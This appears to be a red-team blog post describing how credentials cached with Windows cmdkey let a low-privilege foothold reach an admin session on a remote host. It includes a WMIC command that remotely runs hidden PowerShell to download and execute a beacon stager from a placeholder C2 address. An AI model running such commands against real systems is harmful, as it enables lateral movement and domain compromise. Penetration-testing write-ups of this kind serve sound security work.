Exploring cmdkey: An Edge Case for Privilege Escalation
I was recently exploring methods of caching cleartext credentials on Windows systems for a pentest lab when I ran into an interesting tool, cmdkey.exe. Cmdkey is a built-in Windows tool that can cache domain user credentials for use on specific target machines. You can check out the documentation from Microsoft here: https://technet.microsoft.com/en-us/library/cc754243(v=ws.11).aspx .
While cmdkey didn’t quite suit my criteria for pentest labs, it had a few characteristics that piqued my interest:
- You can list and create credentials w/ cmdkey as a regular domain user
- It’s often used to perform administrative tasks on remote systems
Sounds like an opportunity to abuse this for privilege escalation to me! So, I decided to dig a little deeper and play out a possible scenario on an internal penetration test.
Scenario: You’ve established a beacon on a Domain User workstation which does not have local admin, or any elevated privileges on other systems. However, the user has a secondary account which they use for remote administration and they’ve cached the creds with cmdkey to make their lives easier.
OK... now that we have our initial beacon C2 established and see that our user doesn't have anything interesting going on, let's check for any cached creds with cmdkey /list.
Now, most of the time this set of cached credentials might be used for pulling down files or accessing resources on remote systems. As a red teamer, though, I want to do something a little more useful. During pentests I’ll often establish new C2 channels by launching a remote powershell process via WMIC to download and execute my beacon stager. The command looks like this:
wmic /node:<TARGET-BOX process call create "cmd /c powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://beacon_IP/a'))\""
Let’s try this out with our Domain User beacon on the target cached via cmdkey.
It works! Windows knew to use the cached creds for the WMIC command, and we were able to establish an admin beacon on the target machine (which happens to be a domain controller). This is particularly useful because nothing we did required our compromised user to have any sort of elevated privileges, and we were able to escalate our access on the network. Obviously, this scenario is not going to come up all that often. But it’s so easy to check for! A quick “cmdkey /list” will let you know if you have any quick wins for privilege escalation when dealing with a limited foothold. Nothing wrong with an edge case :)